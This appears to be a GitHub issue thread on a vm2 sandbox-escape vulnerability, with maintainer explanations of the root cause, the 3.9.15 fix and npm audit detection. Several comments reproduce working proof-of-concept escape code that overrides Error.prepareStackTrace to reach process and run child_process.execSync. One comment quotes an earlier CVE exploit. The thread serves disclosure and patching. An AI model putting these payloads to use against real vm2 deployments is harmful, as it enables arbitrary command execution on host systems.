Comments (13)
Any feedback on the root cause?
The root cause was that frames
is a host array for newer node versions in case of unhandled async errors. Therefore, the frames
array is now converted to a sandbox object when it is a host object.
First two, produce
''caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them'
This is expected.
Does it have anything to do with
isAsync
andhasAsync
?
It has noting to do with async. It only required an unhandled async exception.
So,
isAsync
is false, however, the code is:async function aa(){ eval("1=1") } aa()
the eval
is only there to throw a syntax error to trigger an unhandled async error in the aa
function.
from vm2.
@urbantom I just checked. You will get:
npm audit
# npm audit report
vm2 <3.9.15
Severity: critical
vm2 vulnerable to sandbox escape - https://github.com/advisories/GHSA-7jxr-cg7f-gpgv
fix available via `npm audit fix`
node_modules/vm2
1 critical severity vulnerability
To address all issues, run:
npm audit fix
from vm2.
CVE-2022-36067 was different. It used the fact that node does not call the prepareStackTrace
on the Error
object but on the object reachable by globalThis.Error
. In the normal case these two objects are the same but in the mentiond case they changed the Error
object and got around the wrapping of the prepareStackTrace
function done on the Error
object.
This exploit used the fact that in some cases the array passed to the prepareStackTrace
is a host object which was not expected and therefore passed as is into the sandbox.
from vm2.
Thanks for the report.
from vm2.
Hello @patriksimek ,
Could you please open a security advisory for this vulnerability?
from vm2.
@seongil-wi Just opened it. Thank you for reporting the issue.
@XmiliaH Thank you for such a quick reaction and the patch.
from vm2.
Fix in release 3.9.15. (See advisory GHSA-7jxr-cg7f-gpgv)
from vm2.
Nice one @XmiliaH!
Any feedback on the root cause?
Tried other arrangements of the PoC
Error.arguments = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
Error.caller = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
First two, produce ''caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them'
Added some print breakpoints, 3.9.14:
=======
transformer.js:182
hasAsync true
transformer.js:183
isAsync false
transformer.js:184
code
Error.prepareStackTrace = (e, frames) => {
frames.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');
};
(async ()=>{}).constructor('return process')()
transformer.js:185
=======
=======
transformer.js:182
hasAsync true
transformer.js:183
isAsync true
transformer.js:184
code (async function anonymous(
) {
return process
})
transformer.js:185
=======
Does it have anything to do with isAsync
and hasAsync
?
Then set BP on localArrayIsArray
in setup-sandbox, shows:
Error.prepareStackTrace
becomes:
(error, sst) => {
if (localArrayIsArray(sst)) {
for (let i=0; i < sst.length; i++) {
const cs = sst[i];
if (typeof cs === 'object' && localReflectGetPrototypeOf(cs) === OriginalCallSite.prototype) {
sst[i] = new CallSite(cs);
}
}
}
return value(error, sst);
}
Line 63 in the sandbox:
// global is originally prototype of host.Object so it can be used to climb up from the sandbox.
if (!localReflectSetPrototypeOf(context, localObject.prototype)) throw localUnexpected();
Is Error, below, missing configuration properties?
Object.defineProperties(global, {
global: {value: global, writable: true, configurable: true, enumerable: true},
globalThis: {value: global, writable: true, configurable: true},
GLOBAL: {value: global, writable: true, configurable: true},
root: {value: global, writable: true, configurable: true},
Error: {value: LocalError}
});
function thisFromOther(other) {
// Note: other@other(unsafe) returns@this(unsafe) throws@this(unsafe)
return thisFromOtherWithFactory(defaultFactory, other);
}
Or currentPrepareStackTrace
?
from vm2.
I see
#516
const EvalHandler = {
__proto__: null,
apply(target, thiz, args) {
if (args.length === 0) return undefined;
let code = `${args[0]}`;
try {
code = host.transformAndCheck(null, code, false, false, allowAsync);
} catch (e) {
throw bridge.from(e);
}
return localEval(code);
}
};
Where, host.transformAndCheck(null, code, false, false, allowAsync);
So, isAsync
is false, however, the code is:
async function aa(){
eval("1=1")
}
aa()
vm.js line 93,
function transformAndCheck(args, code, isAsync, isGenerator, allowAsync) {
const ret = transformer(args, code, isAsync, isGenerator, undefined);
checkAsync(allowAsync || !ret.hasAsync);
return ret.code;
}
Produces:
{code: '1=1', hasAsync: false}
Which is allegedly async?
from vm2.
Does npm audit
command report this vulnerability?
from vm2.
@urbantom Looking at https://github.blog/2021-10-07-github-advisory-database-now-powers-npm-audit/ it should, though I did not test it.
from vm2.
Does anyone have a vulnerable environment to test the npm audit
verification approach? I'll be able to bring my results in the next few days.
from vm2.
Hi @XmiliaH, I am just curious about how the fix had been done for the pretty same exploit method reported by Oxeye team here - https://www.oxeye.io/resources/vm2-sandbreak-vulnerability-cve-2022-36067 ??
In oxeye team's report also the method for escaping the sandbox was typically same where attacker is using the prepareStackTrace() method to customise the CallStack() with escaping context scenario . I am mentioning the part of exploit here:
`globalThis.Error.prepareStackTrace = function(err, traces) {
traces[0].getThis().process.mainModule.require('child_process')
// Here the author is exploiting the fact that CallSite array of stack frames is not sandboxed. Though the author is using one of the
method here is getThis().
}`
As you have explained above that time itself we could have fix the in the same way right?
from vm2.
Related Issues (20)
- VM and NodeVM behaves differently on await HOT 3
- Any tips for improving performance of `vm.run()`? HOT 9
- Sandbox Escape in [email protected] HOT 3
- Adding a Security Policy HOT 1
- Modules not loading any more? HOT 16
- Overriding functions of objects from sandbox parameter inside NodeVM HOT 3
- Accessing .buffer property on a Float32Array HOT 8
- Lib memory leak HOT 8
- Hello, is there any way to make the large functions in node equal to those in VM2? Or not isolate large functions? HOT 16
- Usage with NextJS HOT 8
- this.pathResolve is not a function in 3.9.18 HOT 2
- Work in a bundle HOT 3
- Use external modules without filesystem access HOT 1
- Typescript Set transpilation issues
- Node's test runner not available as builtin
- Isolating Imported Modules
- Discontinued HOT 63
- [content removed for the very unfriendly management] HOT 3
- vm2 Sandbox Escape vulnerability (Github Dependabot Issue) HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from vm2.